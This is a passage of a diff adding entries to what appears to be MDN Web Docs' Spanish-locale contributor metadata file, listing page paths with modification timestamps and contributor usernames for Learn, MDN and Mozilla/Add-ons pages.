+      "Fernando-Funes",
+      "darkarth80",
+      "ivanagui2",
+      "cvillafraz",
+      "Adrian-Cuellar",
+      "B1tF8er"
+    ]
+  },
+  "Learn/JavaScript/Objects/JSON": {
+    "modified": "2020-07-16T22:32:24.819Z",
+    "contributors": [
+      "jorgeCaster",
+      "pmiranda-geo",
+      "Enesimus"
+    ]
+  },
+  "Learn/JavaScript/Objects/Object-oriented_JS": {
+    "modified": "2020-08-08T09:41:13.386Z",
+    "contributors": [
+      "Nachec",
+      "andyesp",
+      "Fernando-Funes",
+      "jhonarielgj",
+      "rimbener",
+      "ReneAG",
+      "EnekoOdoo",
+      "ivanagui2",
+      "cristianmarquezp",
+      "djdouta",
+      "paulaco",
+      "martinGerez",
+      "anyruizd",
+      "Michelangeur"
+    ]
+  },
+  "Learn/JavaScript/Objects/Object_prototypes": {
+    "modified": "2020-11-22T14:56:33.662Z",
+    "contributors": [
+      "VictoriaRamirezCharles",
+      "TextC0de",
+      "Cesaraugp",
+      "Fernando-Funes",
+      "joooni1998",
+      "kevin_Luna",
+      "asamajamasa",
+      "ddavalos",
+      "JuanMaRuiz",
+      "ivanagui2",
+      "salpreh",
+      "djangoJosele"
+    ]
+  },
+  "Learn/Performance": {
+    "modified": "2020-07-16T22:40:38.336Z",
+    "contributors": [
+      "mikelmg"
+    ]
+  },
+  "Learn/Server-side": {
+    "modified": "2020-07-16T22:35:56.070Z",
+    "contributors": [
+      "davidenriq11",
+      "javierdelpino",
+      "IXTRUnai"
+    ]
+  },
+  "Learn/Server-side/Django": {
+    "modified": "2020-07-16T22:36:31.705Z",
+    "contributors": [
+      "jlpb97",
+      "javierdelpino",
+      "oscvic",
+      "faustinoloeza"
+    ]
+  },
+  "Learn/Server-side/Django/Admin_site": {
+    "modified": "2020-07-16T22:37:02.726Z",
+    "contributors": [
+      "ricardo-soria",
+      "cristianaguilarvelozo",
+      "SgtSteiner",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/Authentication": {
+    "modified": "2020-07-29T13:34:31.552Z",
+    "contributors": [
+      "rayrojas",
+      "quijot",
+      "gatopadre",
+      "zelkovar",
+      "cbayonao",
+      "DTaiD",
+      "Carlosmgs111",
+      "ricardo-soria",
+      "GankerDev",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/Deployment": {
+    "modified": "2020-09-29T05:31:27.175Z",
+    "contributors": [
+      "chrisdavidmills",
+      "LIBIDORI",
+      "taponato",
+      "joanvasa",
+      "banideus",
+      "LUISCR",
+      "ricardo-soria",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/Forms": {
+    "modified": "2020-09-03T20:14:00.959Z",
+    "contributors": [
+      "FoulMangoPY",
+      "joserojas1270",
+      "panpy-web",
+      "taponato",
+      "gatopadre",
+      "gt67ma",
+      "soberanes",
+      "ricardo-soria",
+      "boleklolek",
+      "SgtSteiner",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/Generic_views": {
+    "modified": "2020-07-16T22:37:14.516Z",
+    "contributors": [
+      "ricardo-soria",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/Home_page": {
+    "modified": "2020-07-16T22:37:08.036Z",
+    "contributors": [
+      "dr2d4",
+      "MatiasJAco",
+      "ricardo-soria",
+      "cristianaguilarvelozo",
+      "AnPlandolit",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/Introducción": {
+    "modified": "2020-07-16T22:36:38.315Z",
+    "contributors": [
+      "dr2d4",
+      "jlpb97",
+      "oalberto96",
+      "javierdelpino",
+      "oscvic"
+    ]
+  },
+  "Learn/Server-side/Django/Models": {
+    "modified": "2020-08-27T11:46:51.559Z",
+    "contributors": [
+      "FoulMangoPY",
+      "dr2d4",
+      "Kalisto",
+      "cuantosoft",
+      "cruzito626",
+      "ricardo-soria",
+      "CristianFonseca03",
+      "cristianaguilarvelozo",
+      "iehurtado",
+      "SgtSteiner",
+      "javierdelpino",
+      "Panchosama",
+      "MatiMateo"
+    ]
+  },
+  "Learn/Server-side/Django/Sessions": {
+    "modified": "2020-09-02T12:56:54.473Z",
+    "contributors": [
+      "FoulMangoPY",
+      "franpandol",
+      "ricardo-soria",
+      "tonyrodrigues",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/Testing": {
+    "modified": "2020-11-25T15:32:01.505Z",
+    "contributors": [
+      "JanoVZ",
+      "joserojas1270",
+      "rayrojas",
+      "julyaann",
+      "ferxohn",
+      "ricardo-soria",
+      "R4v3n15",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/Tutorial_local_library_website": {
+    "modified": "2020-07-16T22:36:48.653Z",
+    "contributors": [
+      "dr2d4",
+      "jfpIE16",
+      "ricardo-soria",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/development_environment": {
+    "modified": "2020-07-16T22:36:43.747Z",
+    "contributors": [
+      "sign4l",
+      "cruzito626",
+      "ricardo-soria",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/django_assessment_blog": {
+    "modified": "2020-07-16T22:37:48.773Z",
+    "contributors": [
+      "ricardo-soria",
+      "matiexe",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/skeleton_website": {
+    "modified": "2020-07-16T22:36:52.017Z",
+    "contributors": [
+      "dr2d4",
+      "cuantosoft",
+      "gozarrojas",
+      "ricardo-soria",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Django/web_application_security": {
+    "modified": "2020-07-16T22:37:45.102Z",
+    "contributors": [
+      "sebastianmr6",
+      "ricardo-soria",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs": {
+    "modified": "2020-07-16T22:37:51.529Z",
+    "contributors": [
+      "GUEROZ",
+      "deit",
+      "rmon_vfer",
+      "sergiodiezdepedro",
+      "javierdelpino",
+      "sergionunez"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/Introduction": {
+    "modified": "2020-07-16T22:38:09.037Z",
+    "contributors": [
+      "evaferreira",
+      "threevanny",
+      "hernanfloresramirez1987",
+      "jorgesqm95",
+      "GUEROZ",
+      "Slb-Sbsz",
+      "tec.josec",
+      "crisaragon",
+      "Sergio_Gonzalez_Collado",
+      "fedechiappero",
+      "RigobertoUlloa",
+      "javierdelpino",
+      "SphinxKnight"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website": {
+    "modified": "2020-07-16T22:38:15.482Z",
+    "contributors": [
+      "acasco",
+      "antiepoke"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/development_environment": {
+    "modified": "2020-07-16T22:37:58.161Z",
+    "contributors": [
+      "sandromedina",
+      "threevanny",
+      "pajaro5",
+      "GUEROZ",
+      "maringenio"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/mongoose": {
+    "modified": "2020-07-16T22:38:20.335Z",
+    "contributors": [
+      "danimrprofe",
+      "rmon_vfer"
+    ]
+  },
+  "Learn/Server-side/Express_Nodejs/skeleton_website": {
+    "modified": "2020-07-16T22:38:03.936Z",
+    "contributors": [
+      "juancorbacho",
+      "tec.josec",
+      "maringenio",
+      "mimz2563"
+    ]
+  },
+  "Learn/Server-side/Node_server_without_framework": {
+    "modified": "2020-07-16T22:36:05.239Z",
+    "contributors": [
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Primeros_pasos": {
+    "modified": "2020-07-16T22:36:08.254Z",
+    "contributors": [
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Primeros_pasos/Introducción": {
+    "modified": "2020-07-16T22:36:13.094Z",
+    "contributors": [
+      "AnaHertaj",
+      "SphinxKnight",
+      "mortyBL",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor": {
+    "modified": "2020-07-16T22:36:18.740Z",
+    "contributors": [
+      "Slb-Sbsz",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Primeros_pasos/Web_frameworks": {
+    "modified": "2020-07-16T22:36:23.784Z",
+    "contributors": [
+      "Slb-Sbsz",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Server-side/Primeros_pasos/seguridad_sitios_web": {
+    "modified": "2020-07-16T22:36:27.856Z",
+    "contributors": [
+      "isaine",
+      "Slb-Sbsz",
+      "javierdelpino"
+    ]
+  },
+  "Learn/Using_Github_pages": {
+    "modified": "2020-07-16T22:35:51.571Z",
+    "contributors": [
+      "DaniNz",
+      "LuyisiMiger",
+      "TAXIS"
+    ]
+  },
+  "Learn/codificacion-scripting": {
+    "modified": "2020-07-16T22:22:13.785Z",
+    "contributors": [
+      "hamfree"
+    ]
+  },
+  "Localización": {
+    "modified": "2019-01-16T13:31:36.167Z",
+    "contributors": [
+      "DirkS",
+      "RickieesES",
+      "Mgjbot",
+      "Verruckt",
+      "Jorolo",
+      "Takenbot",
+      "Nukeador",
+      "Radigar"
+    ]
+  },
+  "Localizar_con_Narro": {
+    "modified": "2019-03-24T00:12:25.538Z",
+    "contributors": [
+      "jvmjunior",
+      "deimidis"
+    ]
+  },
+  "MDN": {
+    "modified": "2020-07-08T14:43:57.058Z",
+    "contributors": [
+      "Maose",
+      "jswisher",
+      "SphinxKnight",
+      "Riszin",
+      "Beatriz_Ortega_Valdes",
+      "facufacu3789",
+      "wbamberg",
+      "0zxo",
+      "Jeremie",
+      "raecillacastellana",
+      "DonPrime",
+      "GersonLazaro",
+      "Arudb79",
+      "MauricioGil",
+      "Sheppy"
+    ]
+  },
+  "MDN/About": {
+    "modified": "2020-05-03T01:47:58.469Z",
+    "contributors": [
+      "Beatriz_Ortega_Valdes",
+      "ecedenyo",
+      "wbamberg",
+      "jswisher",
+      "hecaxmmx",
+      "SoftwareRVG",
+      "Jeremie",
+      "carloslazaro",
+      "cosmesantos",
+      "wilo",
+      "LuisArt",
+      "sinfallas",
+      "maedca"
+    ]
+  },
+  "MDN/Comunidad": {
+    "modified": "2020-04-24T19:14:03.228Z",
+    "contributors": [
+      "inwm",
+      "SphinxKnight",
+      "wbamberg",
+      "jenyvera",
+      "0zxo",
+      "Jeremie",
+      "LeoHirsch",
+      "luisgm76"
+    ]
+  },
+  "MDN/Contribute": {
+    "modified": "2019-03-22T01:52:35.495Z",
+    "contributors": [
+      "Beatriz_Ortega_Valdes",
+      "wbamberg",
+      "Rrxxxx",
+      "Ibrahim1997",
+      "LeoHirsch",
+      "MauricioGil",
+      "Mars"
+    ]
+  },
+  "MDN/Contribute/Community": {
+    "modified": "2020-09-03T13:14:53.733Z",
+    "contributors": [
+      "FoulMangoPY",
+      "jswisher",
+      "wbamberg",
+      "welm",
+      "Sebastian.Nagles"
+    ]
+  },
+  "MDN/Contribute/Feedback": {
+    "modified": "2020-12-02T14:04:57.487Z",
+    "contributors": [
+      "SphinxKnight",
+      "abcserviki",
+      "chrisdavidmills",
+      "Rafasu",
+      "jswisher",
+      "yohanolmedo",
+      "alex16jpv",
+      "wbamberg",
+      "astrapotro",
+      "Jabi",
+      "Sergio_Gonzalez_Collado",
+      "karl_",
+      "MARVINFLORENTINO",
+      "aresth+",
+      "DracotMolver"
+    ]
+  },
+  "MDN/Contribute/Getting_started": {
+    "modified": "2020-12-02T19:26:24.923Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Anibalismo",
+      "MIKE1203",
+      "gcjuan",
+      "clarii",
+      "wbamberg",
+      "0zxo",
+      "dariomaim",
+      "grover.velasquez",
+      "Primo18",
+      "maubarbetti",
+      "Arukantara",
+      "jsx",
+      "fraph",
+      "teoli",
+      "aguilaindomable",
+      "LeoHirsch",
+      "cototion"
+    ]
+  },
+  "MDN/Contribute/Howto": {
+    "modified": "2019-01-16T18:56:52.965Z",
+    "contributors": [
+      "wbamberg",
+      "0zxo",
+      "astrapotro",
+      "MauricioGil",
+      "Sheppy"
+    ]
+  },
+  "MDN/Contribute/Howto/Convert_code_samples_to_be_live": {
+    "modified": "2019-01-16T19:10:19.469Z",
+    "contributors": [
+      "wbamberg",
+      "javierdp",
+      "gpadilla",
+      "RoxPulido",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Contribute/Howto/Crear_cuenta_MDN": {
+    "modified": "2020-08-21T18:14:17.930Z",
+    "contributors": [
+      "Tomillo",
+      "JADE-2006",
+      "wbamberg",
+      "JuniorBO",
+      "Arudb79",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Contribute/Howto/Document_a_CSS_property": {
+    "modified": "2020-02-19T19:43:18.253Z",
+    "contributors": [
+      "jswisher",
+      "SphinxKnight",
+      "wbamberg",
+      "teoli",
+      "stephaniehobson",
+      "MauricioGil"
+    ]
+  },
+  "MDN/Contribute/Howto/Document_a_CSS_property/Plantilla_propiedad": {
+    "modified": "2019-03-18T21:31:21.033Z",
+    "contributors": [
+      "wbamberg",
+      "B1tF8er"
+    ]
+  },
+  "MDN/Contribute/Howto/Etiquetas_paginas_javascript": {
+    "modified": "2019-01-16T19:47:18.318Z",
+    "contributors": [
+      "wbamberg",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Contribute/Howto/Remover_Macros_Experimentales": {
+    "modified": "2020-07-05T17:06:56.383Z",
+    "contributors": [
+      "Anibalismo"
+    ]
+  },
+  "MDN/Contribute/Howto/Set_the_summary_for_a_page": {
+    "modified": "2020-07-05T16:17:53.925Z",
+    "contributors": [
+      "Anibalismo",
+      "Maose",
+      "wbamberg",
+      "gerard.am",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Contribute/Howto/Tag": {
+    "modified": "2019-03-23T23:15:01.953Z",
+    "contributors": [
+      "wbamberg",
+      "Creasick",
+      "blanchart",
+      "meCarrion17",
+      "rafamagno",
+      "teoli",
+      "PepeAntonio",
+      "CristianMar25",
+      "anmartinez",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Contribute/Howto/Usar_barras_laterales_de_navegación": {
+    "modified": "2019-05-08T17:34:30.854Z",
+    "contributors": [
+      "ivanagui2"
+    ]
+  },
+  "MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary": {
+    "modified": "2019-03-23T23:09:23.417Z",
+    "contributors": [
+      "wbamberg",
+      "astrapotro",
+      "teoli",
+      "L_e_o"
+    ]
+  },
+  "MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web": {
+    "modified": "2020-06-26T02:13:25.044Z",
+    "contributors": [
+      "Enesimus",
+      "pablorebora",
+      "blanchart",
+      "BubuAnabelas",
+      "SphinxKnight",
+      "FranciscoImanolSuarez"
+    ]
+  },
+  "MDN/Contribute/Howto/revision_editorial": {
+    "modified": "2019-03-18T20:54:27.132Z",
+    "contributors": [
+      "LauraJaime8",
+      "wbamberg",
+      "ElNobDeTfm",
+      "Arudb79",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Contribute/Howto/revision_tecnica": {
+    "modified": "2019-01-16T18:56:48.857Z",
+    "contributors": [
+      "wbamberg",
+      "MarkelCuesta",
+      "rowasc",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Contribute/Localize": {
+    "modified": "2019-01-16T17:46:06.700Z",
+    "contributors": [
+      "wbamberg",
+      "Jeremie",
+      "meiyu333",
+      "Sheppy"
+    ]
+  },
+  "MDN/Contribute/Localize/Iniciar_una_localizacion": {
+    "modified": "2019-03-23T22:20:12.721Z",
+    "contributors": [
+      "wbamberg",
+      "SoftwareRVG"
+    ]
+  },
+  "MDN/Contribute/Localize/Project:Localization_Projects": {
+    "modified": "2019-05-18T11:53:27.961Z",
+    "contributors": [
+      "wbamberg",
+      "AlePerez92",
+      "karlalhdz",
+      "Jeremie",
+      "LeoHirsch",
+      "Sheppy",
+      "Antiparticule",
+      "jorge_diaz",
+      "LuisArt",
+      "maedca",
+      "desiderantes"
+    ]
+  },
+  "MDN/Contribute/Localize/Project:Translating_MDN_pages": {
+    "modified": "2020-10-10T03:14:55.439Z",
+    "contributors": [
+      "elpetiso",
+      "Beatriz_Ortega_Valdes",
+      "jimmypazos",
+      "wbamberg",
+      "juan-ferrer-toribio",
+      "AlePerez92",
+      "manatico4",
+      "wilton-cruz",
+      "seidelw",
+      "JuanMacias",
+      "sergio_p_d",
+      "Jeremie",
+      "JessDev",
+      "humbertaco",
+      "LeoHirsch",
+      "sintaxis",
+      "maedca"
+    ]
+  },
+  "MDN/Contribute/Procesos": {
+    "modified": "2019-01-17T02:12:44.469Z",
+    "contributors": [
+      "wbamberg",
+      "astrapotro"
+    ]
+  },
+  "MDN/Contribute/Tareas": {
+    "modified": "2019-01-16T18:56:38.941Z",
+    "contributors": [
+      "wbamberg",
+      "MauricioGil",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Guidelines": {
+    "modified": "2020-09-30T15:28:55.816Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "Jeremie",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Guidelines/Content_blocks": {
+    "modified": "2020-09-30T15:28:56.171Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "Jeremie",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Guidelines/Convenciones_y_definiciones": {
+    "modified": "2020-09-30T15:28:56.412Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Nachec"
+    ]
+  },
+  "MDN/Guidelines/Project:Guía_de_estilo": {
+    "modified": "2020-09-30T15:28:56.038Z",
+    "contributors": [
+      "chrisdavidmills",
+      "blanchart",
+      "clarii",
+      "wbamberg",
+      "Jeremie",
+      "Salamandra101",
+      "Dgeek",
+      "fscholz",
+      "LeoHirsch",
+      "teoli",
+      "Pgulijczuk",
+      "DoctorRomi",
+      "Nukeador",
+      "Nanomo",
+      "Eqx",
+      "Jorolo"
+    ]
+  },
+  "MDN/Kuma": {
+    "modified": "2019-09-09T15:52:33.535Z",
+    "contributors": [
+      "SphinxKnight",
+      "clarii",
+      "wbamberg",
+      "Jeremie",
+      "Diio",
+      "atlas7jean"
+    ]
+  },
+  "MDN/Kuma/Contributing": {
+    "modified": "2019-03-23T23:15:25.956Z",
+    "contributors": [
+      "wbamberg",
+      "Jeremie",
+      "MauricioGil"
+    ]
+  },
+  "MDN/Kuma/Contributing/Getting_started": {
+    "modified": "2019-01-16T19:06:06.895Z",
+    "contributors": [
+      "wbamberg",
+      "Jeremie",
+      "MauricioGil"
+    ]
+  },
+  "MDN/Structures": {
+    "modified": "2020-09-30T09:06:15.403Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "jswisher"
+    ]
+  },
+  "MDN/Structures/Ejemplos_ejecutables": {
+    "modified": "2020-09-30T09:06:15.983Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "emanuelvega",
+      "LUISTGMDN",
+      "elihro"
+    ]
+  },
+  "MDN/Structures/Macros": {
+    "modified": "2020-09-30T09:06:16.658Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Nachec",
+      "wbamberg"
+    ]
+  },
+  "MDN/Structures/Macros/Commonly-used_macros": {
+    "modified": "2020-09-30T09:06:17.138Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Nachec"
+    ]
+  },
+  "MDN/Structures/Macros/Otras": {
+    "modified": "2020-09-30T09:06:17.522Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Nachec"
+    ]
+  },
+  "MDN/Structures/Tablas_de_compatibilidad": {
+    "modified": "2020-10-15T22:33:39.399Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Nachec"
+    ]
+  },
+  "MDN/Tools": {
+    "modified": "2020-09-30T16:48:18.728Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "Jeremie",
+      "Arudb79",
+      "atlas7jean"
+    ]
+  },
+  "MDN/Tools/Introduction_to_KumaScript": {
+    "modified": "2020-09-30T16:48:19.117Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "velizluisma",
+      "Jeremie",
+      "LeoHirsch"
+    ]
+  },
+  "MDN/Tools/Page_regeneration": {
+    "modified": "2020-09-30T16:48:19.365Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Anibalismo"
+    ]
+  },
+  "MDN/Tools/Template_editing": {
+    "modified": "2020-09-30T16:48:19.234Z",
+    "contributors": [
+      "chrisdavidmills",
+      "wbamberg",
+      "juan-ferrer-toribio"
+    ]
+  },
+  "MDN/User_guide": {
+    "modified": "2020-12-07T17:30:04.089Z",
+    "contributors": [
+      "wbamberg",
+      "Sheppy"
+    ]
+  },
+  "MDN_en_diez": {
+    "modified": "2019-03-23T22:49:57.954Z",
+    "contributors": [
+      "pabloveintimilla",
+      "diego.mauricio.meneses.rios"
+    ]
+  },
+  "Mejoras_DOM_en_Firefox_3": {
+    "modified": "2019-03-23T23:50:52.840Z",
+    "contributors": [
+      "wbamberg",
+      "Mgjbot",
+      "RickieesES",
+      "Nukeador",
+      "HenryGR",
+      "Talisker"
+    ]
+  },
+  "Mejoras_SVG_en_Firefox_3": {
+    "modified": "2019-03-23T23:50:55.206Z",
+    "contributors": [
+      "wbamberg",
+      "Mgjbot",
+      "RickieesES",
+      "Nukeador",
+      "Talisker"
+    ]
+  },
+  "Mejoras_XUL_en_Firefox_3": {
+    "modified": "2019-03-24T00:02:34.038Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "Nukeador",
+      "Mgjbot",
+      "Nathymig",
+      "Dukebody"
+    ]
+  },
+  "Migrar_aplicaciones_desde_Internet_Explorer_a_Mozilla": {
+    "modified": "2019-03-23T23:59:56.566Z",
+    "contributors": [
+      "teoli",
+      "Siyivan",
+      "krusch",
+      "Mgjbot",
+      "Mrgonzalez",
+      "Superruzafa",
+      "Ttataje",
+      "Nukeador"
+    ]
+  },
+  "Modo_casi_estándar_de_Gecko": {
+    "modified": "2019-03-23T23:43:50.956Z",
+    "contributors": [
+      "teoli",
+      "Mgjbot",
+      "Jorolo"
+    ]
+  },
+  "Mozilla": {
+    "modified": "2019-01-16T13:16:23.082Z",
+    "contributors": [
+      "cosmesantos",
+      "andersonvc89",
+      "Vladi05",
+      "Granpichi",
+      "yesypsb",
+      "Getachi",
+      "Izel"
+    ]
+  },
+  "Mozilla/Add-ons": {
+    "modified": "2019-03-18T21:08:47.524Z",
+    "contributors": [
+      "hecaxmmx",
+      "hamfree",
+      "Aldrin508",
+      "Arudb79",
+      "Psy",
+      "RaulVisa",
+      "LeoHirsch",
+      "rojo32"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions": {
+    "modified": "2019-07-18T20:39:33.007Z",
+    "contributors": [
+      "hecaxmmx",
+      "ivanruvalcaba",
+      "AngelFQC",
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API": {
+    "modified": "2019-05-09T20:52:57.986Z",
+    "contributors": [
+      "Micronine",
+      "BubuAnabelas",
+      "chicocoulomb",
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/i18n": {
+    "modified": "2020-10-15T21:39:41.302Z",
+    "contributors": [
+      "wbamberg",
+      "fitojb",
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/storage": {
+    "modified": "2020-10-15T22:13:52.747Z",
+    "contributors": [
+      "SphinxKnight",
+      "wbamberg",
+      "grxdipgra"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/storage/local": {
+    "modified": "2020-10-15T22:13:52.742Z",
+    "contributors": [
+      "wbamberg",
+      "grxdipgra"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/storage/sync": {
+    "modified": "2020-10-15T22:13:52.602Z",
+    "contributors": [
+      "wbamberg",
+      "grxdipgra"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/API/webNavigation": {
+    "modified": "2020-10-15T21:52:47.862Z",
+    "contributors": [
+      "wbamberg",
+      "tanclony"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar": {
+    "modified": "2019-03-18T21:05:11.701Z",
+    "contributors": [
+      "roberbnd"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Anatomia_de_una_WebExtension": {
+    "modified": "2019-03-18T21:08:05.873Z",
+    "contributors": [
+      "hecaxmmx",
+      "rgo",
+      "jde-gr",
+      "doztrock",
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs": {
+    "modified": "2020-10-15T20:55:02.467Z",
+    "contributors": [
+      "rossc90"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities": {
+    "modified": "2019-03-23T22:45:10.191Z",
+    "contributors": [
+      "Nitram_G",
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Depuración": {
+    "modified": "2019-03-18T21:05:20.525Z",
+    "contributors": [
+      "Pau"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Examples": {
+    "modified": "2019-03-18T21:06:01.388Z",
+    "contributors": [
+      "hecaxmmx"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools": {
+    "modified": "2020-09-27T05:32:44.293Z",
+    "contributors": [
+      "omaralonsog"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Implement_a_settings_page": {
+    "modified": "2019-03-18T21:06:46.901Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests": {
+    "modified": "2019-03-18T21:06:03.133Z",
+    "contributors": [
+      "juanbrujo",
+      "regisdark",
+      "hecaxmmx"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Internationalization": {
+    "modified": "2020-06-29T22:25:32.104Z",
+    "contributors": [
+      "hugojavierduran9"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Modify_a_web_page": {
+    "modified": "2019-03-18T21:02:55.354Z",
+    "contributors": [
+      "alexgilsoncampi"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Packaging_and_installation": {
+    "modified": "2019-03-23T22:45:27.399Z",
+    "contributors": [
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Porting_from_Google_Chrome": {
+    "modified": "2019-03-18T21:08:10.456Z",
+    "contributors": [
+      "fitojb",
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Prerequisitos": {
+    "modified": "2019-03-23T22:45:28.352Z",
+    "contributors": [
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension": {
+    "modified": "2019-03-18T21:05:24.379Z",
+    "contributors": [
+      "FacundoCerezo",
+      "IXTRUnai"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Que_son_las_WebExtensions": {
+    "modified": "2020-11-23T00:59:33.889Z",
+    "contributors": [
+      "kenliten",
+      "hecaxmmx",
+      "13539"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Tu_primera_WebExtension": {
+    "modified": "2020-11-23T01:34:20.681Z",
+    "contributors": [
+      "kenliten",
+      "IgnacioMilia",
+      "mppfiles",
+      "adderou",
+      "hecaxmmx",
+      "Maller_Lagoon"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/Tutorial": {
+    "modified": "2019-04-25T06:15:12.057Z",
+    "contributors": [
+      "Klius",
+      "IgnacioMilia",
+      "chicocoulomb",
+      "hecaxmmx",
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/What_next_": {
+    "modified": "2019-03-18T20:43:00.251Z",
+    "contributors": [
+      "chicocoulomb"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/manifest.json": {
+    "modified": "2020-10-15T21:39:41.879Z",
+    "contributors": [
+      "wachunei",
+      "legomolina",
+      "yuniers"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/manifest.json/icons": {
+    "modified": "2020-10-15T22:27:24.193Z",
+    "contributors": [
+      "qwerty726"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/user_interface": {
+    "modified": "2019-03-18T21:03:49.876Z",
+    "contributors": [
+      "rebloor"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/user_interface/Accion_navegador": {
+    "modified": "2019-03-18T21:03:34.447Z",
+    "contributors": [
+      "adderou"
+    ]
+  },
+  "Mozilla/Add-ons/WebExtensions/user_interface/Page_actions": {
+    "modified": "2019-08-12T17:02:44.540Z",
+    "contributors": [
+      "rayrojas"
+    ]
+  },
+  "Mozilla/Developer_guide": {
+    "modified": "2019-03-23T23:34:39.883Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Etruscco"
+    ]
+  },
+  "Mozilla/Developer_guide/Preguntas_frecuentes_sobre_la_compilación_de_Mozilla": {
+    "modified": "2019-03-23T23:58:56.616Z",
+    "contributors": [
+      "chrisdavidmills",
+      "fscholz",
+      "teoli",
+      "DoctorRomi",
+      "Nukeador",
+      "Mgjbot",
+      "Blank zero"
+    ]
+  },
+  "Mozilla/Developer_guide/Source_Code": {
+    "modified": "2020-03-01T17:19:51.307Z",
+    "contributors": [
+      "IngrownMink4",
+      "Allamc11",
+      "chrisdavidmills",
+      "jntesteves"
+    ]
+  },
+  "Mozilla/Developer_guide/Source_Code/Código_fuente_de_Mozilla_(CVS)": {
+    "modified": "2019-03-23T23:46:33.805Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Nukeador",
+      "Mgjbot",
+      "Blank zero"
+    ]
+  },
+  "Mozilla/Developer_guide/mozilla-central": {
+    "modified": "2019-03-18T21:11:07.718Z",
+    "contributors": [
+      "duduindo",
+      "chrisdavidmills",
+      "fscholz",
+      "RickieesES"
+    ]
+  },
+  "Mozilla/Firefox": {
